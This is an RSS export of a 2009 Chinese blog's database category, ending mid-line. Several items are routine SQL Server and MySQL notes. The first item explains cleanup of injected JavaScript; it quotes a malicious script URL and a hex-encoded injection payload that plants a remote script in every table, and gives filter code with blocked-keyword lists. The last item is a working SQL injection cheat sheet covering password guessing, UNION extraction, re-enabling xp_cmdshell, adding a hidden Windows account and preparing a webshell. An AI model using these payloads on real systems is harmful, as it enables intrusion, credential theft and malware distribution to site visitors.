<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[CNsHaRk BLog - 数据库]]></title>
<link>http://www.cnshark.net/</link>
<description><![CDATA[欲速则不达-坚持不懈]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[support@cnshark.net(CNsHaRk)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>CNsHaRk BLog</title>
	<url>http://www.cnshark.net/images/logos.gif</url>
	<link>http://www.cnshark.net/</link>
	<description>CNsHaRk BLog</description>
</image>

			<item>
			<link>http://www.cnshark.net/article/2967.htm</link>
			<title><![CDATA[MSSQL数据库被插入JS/sql注入挂马的解决方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,18 Nov 2009 01:45:37 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2967</guid>
		<description><![CDATA[黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站，然后采用小明子这样的注入扫描工具，扫描整个网站，一旦发现有sql注入的漏洞或者上传漏洞，黑客就通过各种手段，上传自己的大马，如海阳木马；然后，黑客就把这个网站纳入他的肉鸡列表，随时在数据库里加入自己希望加的js代码，而这些代码往往是包含着众多的的病毒、木马，最终让访问受控网站的用户的电脑中毒。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 虽然，可以通过sql查询分析器执行批量代换，暂时解决被插入的js代码问题，然而不从根本上解决整个网站存在的漏洞，包括程序上和服务器安全权限，那么黑客还是随时可以入侵你的网站数据库。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 在sql查询分析器里可以执行以下的代码批量替换js代码：<br/><br/> <br/><br/>“<br/>up&#100;ate 表名 set 字段名=replace(字段名,’&lt;Script Src=http://c.n%75clear3.com/css/c.js&gt;&lt;/Script&gt;’,”) ”<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; flymorn仔细检查了网站，发现网站存在几个安全问题：<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;第一，网站存在上传漏洞；虽然，上传文件需要管理员身份验证，也对上传文件进行了文件格式的认证，但管理员身份验证采用了cookies，而cookies是可以被伪造的，而且如果上传了图片后，不对该文件的内容采取任何判断的话，那么图片木马也很有可能被上传。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 解决措施：1 删除上传文件功能（不太实际）；2 修改上传用户验证为session验证；3 对上传后的文件内容进行验证，如果是图片木马，则删除；可以参考以下的验证代码：<br/><br/> <br/>”===============判断上传文件是否含非法字符串start================<br/>set MyFile = server.Cr&#101;ateObject(”Scripting.FileSystemObject”)<br/>set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) ‘读取文本文件<br/>sTextAll = lcase(MyText.ReadAll)<br/>MyText.close<br/>set MyFile = nothing<br/>sStr=”&lt;%|.getfolder|.cr&#101;atefolder|.del&#101;tefolder|.cr&#101;atedirectory|.del&#101;tedirectory|.saveas|wscript.shell|script.encode|server.|.cr&#101;ateobject|execute|activexobject|language=”<br/>sNoString = split(sStr,”|”)<br/>for i=0 to ubound(sNoString)<br/>&nbsp;&nbsp; if instr(sTextAll,sNoString(i)) then<br/>&nbsp;&nbsp;&nbsp;&nbsp; set filedel = server.Cr&#101;ateObject(”Scripting.FileSystemObject”)<br/>&nbsp;&nbsp;&nbsp;&nbsp; filedel.del&#101;tefile Server.mappath(filePath)<br/>&nbsp;&nbsp;&nbsp;&nbsp; set filedel = nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp; Response.Write(”&lt;script&gt;alert(’您上传的文件有问题，上传失败！’);history.back();&lt;/script&gt;”)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Response.End<br/>&nbsp;&nbsp; end if<br/>next<br/>”=================判断上传文件是否含非法字符串end===================<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 第二，网站存在cookies注入漏洞。由于程序设计中，为了考虑到减小服务器的开销，所有用户登陆后采用cookies验证，这个cookies里保存了用户的 ID 和 NAME ，而众所周知，cookies是经常被黑客伪造的，这是其一；另外，某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容，为了简便，采用了 request(”id”) 这样的方式。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们知道，ASP 的request 是先从form、querystring里获取内容，如果这两个为空，则要从cookies里获取内容，大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入，所以一般都会过滤 request.form 和 request.querystring进行sql注入；但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句：<br/><br/> <br/><br/>SQL=”sel&#101;ct * from 表名 wh&#101;re id=”&amp;request(”id”)<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 如果这个 id 恰巧是通过cookies来获取值的，那么想想，这是一件多么可怕的事啊！注入者可以轻松的伪造一个名为 id 的虚假 cookies ，因为这个 id 的cookies 是服务器分配给它的。这个cookies可以被伪造成类似下面这样的一段代码：<br/><br/> <br/>dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0×6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6<br/>15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(<a href="http://it.ad0.cn" target="_blank" rel="external">http://it.ad0.cn</a>) 12e6e416d452c622e6e416d<br/>452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6<br/>94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3<br/>335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375<br/>72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768<br/>696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742<br/>b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275<br/>d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537<br/>352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6<br/>37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4<br/>3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);–<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;看晕了吧。这是利用HEX的方式进行SQL注入，可以绕过一般的IDS验证，只要系统存在SQL注入，上面的代码将会被执行，通过游标遍历数据库中的所有表和列并在列中插入js代码。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解决办法：1 严格过滤 request.form 和 request.querystring 获取的内容，坚决不用 request(”name”) 这样的方式获取值，凡是采用 cookies 保存的内容，尽量不要用在sql语句里进行查询数据库操作；2 重要的用户资料尽量采用 session 验证，因为session是服务器端的，客户端无法伪造数据，除非他有你服务器的权限。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击：<br/><br/> <br/>&lt;%<br/>Response.Buffer = True&nbsp;&nbsp; ‘缓存页面<br/>‘防范get注入<br/>If Request.QueryString &lt;&gt; “”&nbsp;&nbsp; Then StopInjection(Request.QueryString)<br/>‘防范post注入<br/>If Request.Form &lt;&gt; “”&nbsp;&nbsp; Then StopInjection(Request.Form)<br/>‘防范cookies注入<br/>If Request.Cookies &lt;&gt; “”&nbsp;&nbsp; Then StopInjection(Request.Cookies) <br/><br/>‘正则子函数<br/>Function StopInjection(Values)<br/>Dim regEx<br/>Set regEx = New RegExp<br/>&nbsp;&nbsp;&nbsp;&nbsp; regEx.IgnoreCase = True<br/>&nbsp;&nbsp;&nbsp;&nbsp; regEx.Global = True<br/>&nbsp;&nbsp;&nbsp;&nbsp; regEx.Pattern = “‘|;|#|([\s\b+()]+([email=sel&#101;ct%7Cup&#100;ate%7Cins&#101;rt%7Cdel&#101;te%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calt&#101;r%7Cdro&#112;%7Ccr&#101;ate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]sel&#101;ct|up&#100;ate|ins&#101;rt|del&#101;te|declare|@|exec|dbcc|alt&#101;r|dro&#112;|cr&#101;ate|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)”<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim sItem, sValue<br/>&nbsp;&nbsp;&nbsp;&nbsp; For Each sItem In Values<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sValue = Values(sItem)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If regEx.Test(sValue) Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write “&lt;Script Language=javascript&gt;alert(’非法注入！你的行为已被记录！！’);history.back(-1);&lt;/Script&gt;”<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp; Next<br/>&nbsp;&nbsp;&nbsp;&nbsp; Set regEx = Nothing<br/>End function<br/>%&gt;<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;把以上的代码另存为一个文件，如 antisql.asp ，然后在数据库连接文件开头包含这个文件 &lt;!–#include file=”antisql.asp”–&gt; ，就可以实现全站的防范 sql 注入的攻击了。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 第三，做好服务器权限的分配。对于数据库的权限，尽量分配最小的权限给用户使用，如果把sa或管理员的权限分下来，一旦被攻击沦陷，这将是一个毁灭性的打击。mssql 的1433端口，飘易建议不用的时候，最好关闭。<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;总之，安全问题是一个综合的问题，一个小的细节，可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节，而且要仔细做好服务器的安全工作，对于虚拟主机的用户，还要防范服务器上的跨站攻击。细节决定成败。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2952.htm</link>
			<title><![CDATA[SQLServer查询所有表所有字段包含xx的信息]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,27 Oct 2009 14:42:20 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2952</guid>
		<description><![CDATA[<br/><br/>从系统表自动生成sql语句来运行得到结果<br/><br/>sel&#101;ct a.name as columnname,object_name(a.id)as tablename into t from syscolumns a,<br/><br/>sysobjects b,<br/><br/>systypes c<br/><br/>wh&#101;re a.id=b.id&nbsp;&nbsp;<br/><br/>and a.xtype=c.xtype<br/><br/>and b.xtype=&#39;u&#39;<br/><br/>and c.name in(&#39;varchar&#39;,&#39;nvarchar&#39;,&#39;char&#39;,&#39;nchar&#39;,&#39;text&#39;,&#39;ntext&#39;)<br/><br/>and object_name(a.id)&lt;&gt;&#39;t&#39;<br/><br/>go<br/><br/>cr&#101;ate function udf_genSQL(@tableName varchar(1000),@keyword varchar(1000))<br/><br/>returns varchar(8000)<br/><br/>as<br/><br/>begin<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;declare @sql varchar(8000)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;set @sql=&#39;sel&#101;ct * from &#39;+@tableName +&#39; wh&#101;re 1=1 &#39;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct @sql=@sql+&#39; o&#114; &#39;+<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; columnname +&#39; like &#39;&#39;%&#39;+@keyword+&#39;%&#39;&#39;&#39; from t<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;wh&#101;re tablename=@tablename<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return @sql<br/><br/>end<br/><br/>go<br/><br/>sel&#101;ct dbo.udf_genSQL(tableName,&#39;a&#39;) from t group by tablename<br/><br/>dro&#112; table t<br/><br/>dro&#112; function dbo.udf_genSQL<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2951.htm</link>
			<title><![CDATA[mysql使用笔记]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,25 Oct 2009 12:15:32 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2951</guid>
		<description><![CDATA[1 查看mysqld 变量的值<br/>mysqladmin -uroot -p123456 variables<br/>或连接到数据库时使用<br/>mysql&gt;show variables<br/><br/>2查看mysql的状态<br/>mysqladmin extended-status<br/>或连接到数据库时使用<br/>mysql&gt;show status<br/><br/>以上两步以确定是否要修改table_cache,key_buffer_size<br/><br/>3 查看线程任务<br/>mysqladmin processlist<br/><br/>4 查看查询语句的状态<br/>sel&#101;ct distinct arts.a_id,arts.headlinel,nartsect.se_id,arts.mdate,arts.set<br/><br/>以上两步以确定连接太多的问题，还有运行缓慢的查询语句，一些复杂的连接语句不可避免地会严重地影响了性能的最优化<br/><br/>5 delayed_queue_size 的值如果被设置成默认值1000，这意味着1000个超时的语句将排队等待之后，客启程序将不再被释放，也只能等待，例如ins&#101;rt delayed在你系统几乎在同一时刻产生了大量的插入语句，并且发现即使使用民语气ins&#101;rt delayed，客户程序仍旧需要等待，你就应该增加delayed_queue_size的值<br/><br/>6 当连接请求达到back_log的限定值，任何更多的请求将被排进队列而不是被拒绝，就应该增加back_log值，如果请求数量是稳定的，系统忙，就该考虑系统的问题了<br/><br/>7 sort_buffer变量能够加快myisamchk的运算速度，如果你通常做许多排序运算(如经常在大表中使用order by语句)，改用sort_buffer是很有帮助的,配置文件my_huge.cnf（1 g内存的系统）默认sort_buffer对myisamchk使用256M内存,但如果有很多同时（注意指的是同时）发生的连接在执行从句order by,由于每个连接都被分配了一个变量sort_buffer,会出现内存问题<br/><br/>8 为了让表innodb运行稳定，最重要的是变量innodb_data_file_path,它用来指定表（数据和索引）可获得的空间,<br/>它给文件配大小，应该让最后一个数据文件自动扩展（也只有最后一个数据能这样做）以容纳额外的数据，例：<br/><br/>innodb_data_file_path=/disk1/ibdata1:500M;/disk2/ibdata2:50M:autoextend<br/>当数据在disk1\ibdata1中达到500M的限定值时，此后的数据将被放入disk2\ibdata2中，一旦达到disk2\ibdata2中50M的限制ibdata2将自动以8M的程序块进行扩展，如果disk2的物理空间满，则需要增加disk3，为了让改变生效，需要重新启动服务器。<br/><br/>9 在mysql4。0。3版本之后，可以服务器动行的同时，改变变量值,但是,set语句在默认状态所做的变化只影响当前session，即当你下一次连接的时候，变量仍然使用配置文件指定的设置，如果指定global关键字，所有的新的连接将使用新的值，然而重启服务器时，仍然使用配置文件中指定的值，同时你需要有super权限<br/><br/>例：mysql&gt; set session max_sort_length=2048;<br/>&nbsp;&nbsp;&nbsp;&nbsp;mysql&gt; set max_sort_length=2048;<br/>(这两句的结果是相同的)<br/>&nbsp;&nbsp;&nbsp;&nbsp;mysql&gt; set @@local.max_sort_lenth=2048;(@@语法用来与其它数据库管理系统（DBMS）进行兼容)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>如果你决定回去使用旧的值，可以使用default关键字恢复global为配置文件中的值,例：<br/>mysql&gt; set session max_sort_length=default;<br/>mysql&gt; set globle max_sort_length=default;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2949.htm</link>
			<title><![CDATA[存储过程修改sql表默认值]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:12:26 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2949</guid>
		<description><![CDATA[/*******************创建表结构和默认值************************/<br/>IF EXISTS (Sel&#101;ct name FROM master.dbo.sysdatabases Wh&#101;re name = N&#39;testdb&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dro&#112; DATABASE [testdb]<br/>go<br/><br/>cr&#101;ate database testdb<br/>go<br/><br/>use testdb<br/>go<br/><br/>Cr&#101;ate TABLE [Cells] (<br/>&nbsp;&nbsp;&nbsp;&nbsp;[CellID] [int] IDENTITY (1, 1) NOT NULL ,<br/>&nbsp;&nbsp;&nbsp;&nbsp;[PageID] [int] NULL ,<br/>&nbsp;&nbsp;&nbsp;&nbsp;[AutoPublishCount] [int] NOT NULL CONSTRAINT [DF_Publish_AutoPublishCount] DEFAULT (10),<br/>&nbsp;&nbsp;&nbsp;&nbsp;CONSTRAINT [PK_CELLS] PRIMARY KEY&nbsp;&nbsp;CLUSTERED<br/>&nbsp;&nbsp;&nbsp;&nbsp; (<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[CellID]<br/>&nbsp;&nbsp;&nbsp;&nbsp; ) WITH&nbsp;&nbsp;FILLFACTOR = 90&nbsp;&nbsp;ON [PRIMARY]<br/>) ON [PRIMARY]<br/>GO<br/><br/>/**//*************************************************/<br/>-- -- sel&#101;ct * from cells<br/><br/>/**//*******************修改字段默认值************************/<br/>declare&nbsp;&nbsp; @name&nbsp;&nbsp; varchar(1000)<br/>declare&nbsp;&nbsp; @tablename&nbsp;&nbsp; varchar(1000)<br/>declare&nbsp;&nbsp; @fieldname&nbsp;&nbsp; varchar(1000)<br/>&nbsp;&nbsp;<br/>set @tablename=&#39;cells&#39;<br/>set @fieldname=&#39;AutoPublishCount&#39;<br/>sel&#101;ct&nbsp;&nbsp; @name=b.name&nbsp;&nbsp; from&nbsp;&nbsp;&nbsp;&nbsp;syscolumns&nbsp;&nbsp;&nbsp;&nbsp;a,sysobjects&nbsp;&nbsp;&nbsp;&nbsp;b<br/>wh&#101;re&nbsp;&nbsp;&nbsp;&nbsp;a.id=object_id(@tablename)&nbsp;&nbsp;<br/>and&nbsp;&nbsp;&nbsp;&nbsp;b.id=a.cdefault&nbsp;&nbsp;<br/>and&nbsp;&nbsp;&nbsp;&nbsp;a.name=@fieldname<br/>and&nbsp;&nbsp;&nbsp;&nbsp;b.name&nbsp;&nbsp; like&nbsp;&nbsp; &#39;DF%&#39;<br/>exec(&#39;alt&#101;r&nbsp;&nbsp;&nbsp;&nbsp;table&nbsp;&nbsp;&nbsp;&nbsp;cells&nbsp;&nbsp;&nbsp;&nbsp;dro&#112;&nbsp;&nbsp;&nbsp;&nbsp;constraint&nbsp;&nbsp; &#39;+@name)<br/><br/>Alt&#101;r TABLE [cells]<br/>ADD CONSTRAINT DF_Publish_AutoPublishCount DEFAULT (1000)&nbsp;&nbsp;FOR [AutoPublishCount]<br/><br/>/**//*******************************************************************/<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2948.htm</link>
			<title><![CDATA[整理的SQL函数大全很有用的]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:11:53 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2948</guid>
		<description><![CDATA[聚集函数：<br/>avg,求平均值<br/>count,统计记录的条数<br/>max,求最大值<br/>min,求最小值<br/>range,计算所选行的最大值与最小值的差<br/>stdev,计算所选行的标准偏差<br/>sum,求和函数<br/>variance，函数返回值样本的方差做为所有选择行的方差的无偏估计。<br/>它的公式，(sum(xi**2)-sum(xi)**2)/N)/(N-1)<br/>其中xi是列中的每个值，N是列中值的总和。<br/>时间函数：<br/>day,mdy,month,weekday,year 这些函数返回与用来调用函数的表达式或自身变量的值。Current返回当前的日期和时间值，可以用extend函数来调整date或datetime值的精度。<br/>使用day和current 函数来将列值与当前日期进行比较。<br/>Date函数将字符串函数转换为DATE值。例date(‘12/7/04’)<br/>To_char函数将datetime和date值转化为字符值。<br/>To_date函数将字符值转化为datetime类型的值。例to_date(“1978-10-07 10:00” ,”%Y-%m-%d %H:%M)<br/>基数函数：<br/>cardinality（仅适用IDS）函数对集合包含的元素数目计数。<br/>智能大对象函数，（仅适用与IDS）<br/>filetoblob( )，将文件复制到BLOB列中<br/>filetoclob( ),将文件复制到CLOB列中<br/>locopy( ),将BLOB或CLOB类型的数据复制到另一个BLOB或CLOB列中<br/>lotofile( ),将BLOB或CLOB复制到文件中<br/>字符串处理函数：<br/>lower,将字符串中每个大写字母转换为小写字母<br/>upper，将字符串中每个小写字母转换为大写字母<br/>initcap，将字符串中每个词的首写字母转换成大写<br/>replace，将字符串中的某一组字符转换成其他字符，例replace(col,”each”,”eve”)<br/>substr，返回字符串中的某一部分，例substr(col,1,2)<br/>substring，返回字符串中的某一部分，例substring(col,from 1 to 4)<br/>lpad，使用lpad函数已用重复次数达到必要次数的字符序列在左边填充或截断的字符串的副本，这取决于字符串中填充部分的指定长度。<br/>举例：字段 col 为char(15)类型，sel&#101;ct lpad(col,21,”_”) from tab_name则显示为在col前加上六个_。<br/>Rpad，使用rpad函数已用重复次数达到必要次数的字符序列在右边填充或截断的字符串的副本，这取决于字符串中填充部分的指定长度。<br/>举例：字段col为char(15)类型，sel&#101;ct rpad(col,21,”_”) from tab_name则显示为在col后边加上六个_。<br/>其他函数：<br/>hex，返回表达式的十六进制数<br/>round，返回表达式的四舍五入值<br/>trunc，返回表达式的截断值<br/>length，计算表达式的长度<br/>user，返回执行查询的用户的用户名（登陆帐户名）<br/>today，返回当前系统日期<br/>dbservername，返回数据库服务器的名称，同sitename<br/>dbinfo，返回数据库的相关信息<br/>decode，函数来将一个具有一个值的表达式转换为另一个值<br/>decode(test,a,a_value,b,b_value,c,c_value……),decode函数不支持TEXT和BYTE类型。<br/>Nvl，来将求值为空的表达式转化为另一个想要指定的值。<br/>另外还可以在sel&#101;ct语句中使用存储过程，如sel&#101;ct spl($test) from tab_name ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2947.htm</link>
			<title><![CDATA[手工构造SQL注入语句,构造SQL注入]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:10:54 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2947</guid>
		<description><![CDATA[1.判断有无注入点<br/>; and 1=1 and 1=2<br/><br/><br/>2.猜表一般的表的名称无非是admin adminuser user pass password 等..<br/>and 0&lt;&gt;(sel&#101;ct count(*) from *)<br/>and 0&lt;&gt;(sel&#101;ct count(*) from admin) ---判断是否存在admin这张表<br/><br/><br/>3.猜帐号数目 如果遇到0&lt; 返回正确页面 1&lt;返回错误页面说明帐号数目就是1个<br/>and 0&lt;(sel&#101;ct count(*) from admin)<br/>and 1&lt;(sel&#101;ct count(*) from admin)<br/>猜列名还有 and (sel&#101;ct count(列名) from 表名)&gt;0<br/><br/><br/>4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(*)&gt;0)--<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(用户字段名称name)&gt;0)<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(_blank&gt;密码字段名称password)&gt;0)<br/><br/>5.猜解各个字段的长度 猜解长度就是把&gt;0变换 直到返回正确页面为止<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(*)&gt;0)<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(name)&gt;6) 错误<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(name)&gt;5) 正确 长度是6<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(name)=6) 正确<br/><br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(password)&gt;11) 正确<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(password)&gt;12) 错误 长度是12<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re len(password)=12) 正确<br/>猜长度还有 and (sel&#101;ct top 1 len(username) from admin)&gt;5<br/><br/><br/>6.猜解字符<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re left(name,1)=a) ---猜解用户帐号的第一位<br/>and 1=(sel&#101;ct count(*) from admin wh&#101;re left(name,2)=ab)---猜解用户帐号的第二位<br/>就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了<br/><br/>猜内容还有&nbsp;&nbsp; and (sel&#101;ct top 1 asc(mid(password,1,1)) from admin)&gt;50&nbsp;&nbsp; 用ASC码算<br/>and 1=(sel&#101;ct top 1 count(*) from Admin wh&#101;re Asc(mid(pass,5,1))=51) --<br/>这个查询语句可以猜解中文的用户和_blank&gt;密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.<br/><br/>group by users.id having 1=1--<br/>group by users.id, users.username, users.password, users.privs having 1=1--<br/>; ins&#101;rt into users values( 666, attacker, foobar, 0xffff )--<br/><br/>UNION Sel&#101;ct TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS Wh&#101;re TABLE_blank&gt;_NAME=logintable-<br/>UNION Sel&#101;ct TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS Wh&#101;re TABLE_blank&gt;_NAME=logintable Wh&#101;re COLUMN_blank&gt;_NAME NOT IN (login_blank&gt;_id)-<br/>UNION Sel&#101;ct TOP 1 COLUMN_blank&gt;_NAME FROM INFORMATION_blank&gt;_SCHEMA.COLUMNS Wh&#101;re TABLE_blank&gt;_NAME=logintable Wh&#101;re COLUMN_blank&gt;_NAME NOT IN (login_blank&gt;_id,login_blank&gt;_name)-<br/>UNION Sel&#101;ct TOP 1 login_blank&gt;_name FROM logintable-<br/>UNION Sel&#101;ct TOP 1 password FROM logintable wh&#101;re login_blank&gt;_name=Rahul--<br/><br/>看_blank&gt;服务器打的补丁=出错了打了SP4补丁<br/>and 1=(sel&#101;ct @@VERSION)--<br/><br/>看_blank&gt;数据库连接账号的权限，返回正常，证明是_blank&gt;服务器角色sysadmin权限。<br/>and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(sysadmin))--<br/><br/>判断连接_blank&gt;数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）<br/>and sa=(Sel&#101;ct System_blank&gt;_user)--<br/>and user_blank&gt;_name()=dbo--<br/>and 0&lt;&gt;(sel&#101;ct user_blank&gt;_name()--<br/><br/>看xp_blank&gt;_cmdshell是否删除<br/>and 1=(Sel&#101;ct count(*) FROM master.dbo.sysobjects Wh&#101;re xtype = X AND name = xp_blank&gt;_cmdshell)--<br/><br/>xp_blank&gt;_cmdshell被删除，恢复,支持绝对路径的恢复<br/>;EXEC master.dbo.sp_blank&gt;_addextendedproc xp_blank&gt;_cmdshell,xplog70.dll--<br/>;EXEC master.dbo.sp_blank&gt;_addextendedproc xp_blank&gt;_cmdshell,c:\inetpub\wwwroot\xplog70.dll--<br/><br/>反向PING自己实验<br/>;use master;declare @s int;exec sp_blank&gt;_oacr&#101;ate &#34;wscript.shell&#34;,@s out;exec sp_blank&gt;_oamethod @s,&#34;run&#34;,NULL,&#34;cmd.exe /c ping 192.168.0.1&#34;;--<br/><br/>加帐号<br/>;DECLARE @shell INT EXEC SP_blank&gt;_OACr&#101;ate wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--<br/><br/>创建一个虚拟目录E盘：<br/>;declare @o int exec sp_blank&gt;_oacr&#101;ate wscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w &#34;默认Web站点&#34; -v &#34;e&#34;,&#34;e：\&#34;--<br/><br/>访问属性：（配合写入一个webshell）<br/>declare @o int exec sp_blank&gt;_oacr&#101;ate wscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse<br/><br/><br/>爆库 特殊_blank&gt;技巧：:%5c=\ 或者把/和\ 修改%5提交<br/>and 0&lt;&gt;(sel&#101;ct top 1 paths from newtable)--<br/><br/>得到库名（从1到5都是系统的id，6以上才可以判断）<br/>and 1=(sel&#101;ct name from master.dbo.sysdatabases wh&#101;re dbid=7)--<br/>and 0&lt;&gt;(sel&#101;ct count(*) from master.dbo.sysdatabases wh&#101;re name&gt;1 and dbid=6)<br/>依次提交 dbid = 7,8,9.... 得到更多的_blank&gt;数据库名<br/><br/>and 0&lt;&gt;(sel&#101;ct top 1 name from bbs.dbo.sysobjects wh&#101;re xtype=U) 暴到一个表 假设为 admin<br/>and 0&lt;&gt;(sel&#101;ct top 1 name from bbs.dbo.sysobjects wh&#101;re xtype=U and name not in (Admin)) 来得到其他的表。<br/>and 0&lt;&gt;(sel&#101;ct count(*) from bbs.dbo.sysobjects wh&#101;re xtype=U and name=admin<br/>and uid&gt;(str(id))) 暴到UID的数值假设为18779569 uid=id<br/>and 0&lt;&gt;(sel&#101;ct top 1 name from bbs.dbo.syscolumns wh&#101;re id=18779569) 得到一个admin的一个字段,假设为 user_blank&gt;_id<br/>and 0&lt;&gt;(sel&#101;ct top 